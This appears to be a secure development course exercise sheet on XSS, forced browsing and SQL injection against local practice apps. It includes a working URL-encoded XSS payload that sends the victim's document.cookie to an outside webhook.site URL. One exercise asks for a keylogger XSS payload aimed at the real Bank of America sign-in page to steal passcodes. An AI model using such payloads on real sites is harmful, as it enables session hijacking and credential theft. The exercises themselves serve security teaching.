# SDL Course Exercises:

## XSS:

1. In simplexssfiltering:
   1. Find a payload to bypass filtering and get XSS
   2. Fix the filter to prevent the bypass
   3. Try to bypass your fix.
2. Do the same for simplexssencoding. Look for evasions on the web, for example: https://owasp.org/www-community/xss-filter-evasion-cheatsheet
3. Develop a useful XSS payload that sends the victim cookie to the attacker server. For example:
   1. In <https://webhook.site/>, copy the URL for example <https://webhook.site/b9be4275-fa6b-44ce-8a7b-fe7ec5ad20c9>. This is the attacker server URL, where you can see the victim request with the stolen cookie.
   2. In simplexss.py, the following payload will send the victim’s cookie to the webhook site (replace the URL with the URL you copied in step 3.a):

<http://localhost:5000/%3Cscript%3Ewindow.open(%22https://webhook.site/b9be4275-fa6b-44ce-8a7b-fe7ec5ad20c9?a=%22+document.cookie)%3C/script%3E>

1. In 3.b, is the URL encoding necessary?
2. Try the payload in 3.b in simplestoredxss. Why doesn’t it work? Can you find a payload that works? You can use curl.
3. A keylogger is malware that records victims’ keystrokes to steal passwords and secrets that they type.

You have XSS on Bank of America sign-in page. Use the dev console to write XSS payload that implements keylogger to steal the passcode. <https://www.bankofamerica.com/>

A picture containing graphical user interface

Description automatically generated

1. In simplexss.py, set response content type to “application/json. Can you find a payload to get XSS?
2. Set the cookie http-only flag. Do XSS to steal the cookie. Can you steal it?

## Forced Browsing

1. In loginforcedbrowsingbug.py, the user is authenticated, but there is still forced browsing. What is the bug in the logic of the program? Can you fix it?

## SQL Injection

1. In simplesqli, find SQLI payload to attack the /users/create/<user> endpoint INSERT query.
2. Find blind SQLI to get the cookies of other users from DB. Assume you know the user names.